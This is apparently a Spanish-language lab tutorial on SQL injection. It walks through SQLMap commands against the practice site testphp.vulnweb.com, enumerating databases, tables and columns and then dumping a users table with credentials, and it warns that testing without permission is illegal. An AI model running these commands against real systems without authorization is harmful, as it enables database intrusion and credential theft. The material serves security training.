Laboratorio de Pen-Testing: Detectando y Explotando SQL Injection con SQLMap

SQL Injection (SQLi) es una de las vulnerabilidades más comunes en aplicaciones web. Puede permitir a un atacante:

  • Acceder a bases de datos sensibles.
  • Extraer información confidencial.
  • Alterar datos críticos.

En este laboratorio práctico usaremos SQLMap, la herramienta líder para pruebas de SQLi automatizadas, sobre vulnweb.com, un entorno seguro de práctica.

⚠️ Solo realiza pruebas en sitios que poseas o tengas permiso explícito. Testear sin autorización es ilegal y poco ético.

Paso 1: Instalación y preparación de SQLMap

SQLMap viene preinstalado en Kali Linux. Para verificar:

sqlmap --version

Si no está instalado en tu sistema:

sudo apt install sqlmap

Sintaxis básica de SQLMap

sqlmap [OPCIONES] -u "URL_OBJETIVO"

Opciones clave:

OpciónFunciónEjemplo
-uURL objetivo-u "http://site.com/page?id=1"
--dbsListar bases de datossqlmap -u "URL" --dbs
-DSeleccionar base de datos-D database_name
--tablesListar tablassqlmap -u "URL" -D dbname --tables
-TSeleccionar tabla-T users
--columnsListar columnassqlmap -u "URL" -D dbname -T users --columns
--dumpExtraer datossqlmap -u "URL" -D dbname -T users --dump
--batchSaltar prompts interactivossqlmap -u "URL" --batch
--levelNivel de profundidad (1-5)--level 3
--riskNivel de riesgo (1-3)--risk 2

Consultar todas las opciones:

sqlmap --help

Paso 2: Escaneo inicial en sitio de prueba

Usaremos el parámetro vulnerable en:

http://testphp.vulnweb.com/search.php?test=query

Comando:

sqlmap -u "http://testphp.vulnweb.com/search.php?test=query"

SQLMap detectará el tipo de vulnerabilidad y el motor de base de datos, por ejemplo:

  • MySQL >= 5.6

  • Servidor: Nginx + PHP 5.6

  • Tipos de SQLi detectados:

    • Boolean-based blind
    • Error-based
    • Time-based blind
    • UNION query

Paso 3: Enumeración de bases de datos

Listar todas las bases de datos:

sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" --dbs

Resultado: Dos bases de datos disponibles para exploración.

Listar tablas en la base acuart:

sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" -D acuart --tables

Paso 4: Inspección de tablas y columnas

Columnas de la tabla users:

sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" -D acuart -T users --columns

Columnas típicas:

  • id
  • name
  • email
  • password

Paso 5: Extracción de datos

Extraer toda la tabla users:

sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" -D acuart -T users --dump

SQLMap exporta automáticamente los datos a:

/home/user/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

Resultado: Usuario y credenciales extraídas. Esto demuestra la gravedad de una SQLi no mitigada.


Esto es lo que hemos aprendido

  • SQLMap automatiza la detección y explotación de SQLi.
  • Una vulnerabilidad en un solo parámetro puede exponer toda la base de datos.
  • Aprender a enumerar bases, tablas y columnas es clave para pentesting efectivo.
  • En entornos reales, los WAFs pueden bloquear ataques simples; aprender evasión es útil solo para mejorar la seguridad.

Conclusión

Este laboratorio demuestra cómo SQL Injection puede comprometer aplicaciones web críticas. SQLMap facilita la exploración segura y educativa, ayudando a los profesionales a identificar, documentar y corregir vulnerabilidades antes de que los atacantes lo hagan.

🎯 Consejo final: Usa esta experiencia para fortalecer defensas, mejorar configuraciones de WAF y escribir código más seguro.